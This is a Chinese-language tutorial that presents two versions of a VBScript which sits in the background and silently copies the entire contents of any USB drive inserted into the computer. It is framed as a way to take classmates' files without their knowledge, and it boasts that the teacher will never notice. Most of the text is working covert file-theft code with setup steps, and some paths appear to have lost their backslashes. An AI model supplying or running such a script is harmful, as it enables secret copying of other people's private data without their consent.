在学校学习的时候，都会遇到一些吝啬的人，不愿意分享学习资料，像这样的问题，我们只要将我们的U盘插入电脑后，会自动复制，这样不声不响地搞定这些资料，我们来看看操作步骤吧。

运行

　　1、建立一个文本文档，WIN+R 里面打NOTEPAD ，或者自己新建一个都一样。

　　2、把下面的代码复制进去

　　set fso=createobject("scripting.filesystemobject")

　　set ws=createobject("wscript.shell")

　　on error resume next

　　do

　　wscript.sleep 1000

　　if fso.driveexists("U盘的盘符") then

　　fso.copyfile "U盘的盘符加*号","要复制到的目录"

　　fso.copyfolder "U盘的盘符加*号","要复制到的目录"

　　wscript.sleep 20000

　　end if

　　loop

　　注意标颜色的地方要自己改

　　蓝色的就是要复制到的目录，比如要复制到C盘USB文件夹里，则用C:USB代替蓝色部分，注意大小写，同时必须确保USB这个文件 夹存在。

　　红色的是U盘的盘符，比如新插进去的U盘是E盘，则用e:*代替红色部分，F盘就是f:*，

　　第一个U盘的盘符，这个不要*号， 后2个切记不要漏掉*这个符号。[page]

　　注意和第一个的区别

　　3、复制好也改好后保存文件就OK了，然后改一下这个文件的名字，最好使用英文的，然后后缀改成.VBS，原来是.TXT的，如果后缀没哟显示，则先打开我的电脑，在菜单栏里找到，工具——文件夹选项，在查看标签里，有一个隐藏已知文件类型的扩展名，把勾勾去掉就会显示出来后缀了。

文件夹选项

　　4、后缀改好以后， 运行这个文件，就OK了。同时你可以把这个文件删除掉，它已经驻留内存了，重启以后这个东西就不会再出现了，老师绝对发现不了

　　5、要停止这个东西，在任务管理器里面 结束进程WScript.exe就可以了。这个软件学过编程的都应该会看得懂有没有恶意代码。

　　更新：

　　现在没空弄这个，有些人弄不来 我现在更新了一下代码，复制下面的所有东西到一个文本文件，改名为XX.VBS 使用即可

　　set fso=createobject("scripting.filesystemobject")

　　set ws=createobject("wscript.shell")

　　dim USB, file, folder, files

　　USB=inputbox("请输入U盘的盘符"&Chr(10)&"如插入的U盘为F盘，则输入F","插入的U盘盘符","F")

　　folder=inputbox("请输入复制到的文件夹"&Chr(10)&"如想复制到D盘，请输入D:","请输入复制到的文件夹","C:USB")

　　files=inputbox("请输入要复制的文件类型"&Chr(10)&"如要复制EXCEL文件，输入xls;默认为全部类型","请输入要复制的文件类型","ALL")

　　USB=USB & ":"

　　folder=folder & ""

　　if files="ALL"then

　　file=USB & "*"

　　else

　　file=USB & "*." & files

　　end if

　　if FSO.FolderExists(folder) then

　　else

　　FSO.CreateFolder(folder)

　　end if

　　on error resume next

　　do

　　wscript.sleep 1000

　　if fso.driveexists(USB) then

　　fso.copyfile file,folder

　　fso.copyfolder file,folder

　　wscript.sleep 20000

　　end if

　　loop

　　红色部分全部复制到一个文本文件，然后保存，后缀改成.VBS即可。好了，通过以上的设置之后，我们便能让我们的U盘在插入电脑后实现自动复制了，相信本文的教程将是业内界的好东西，但是切记不能作为不法用途哦。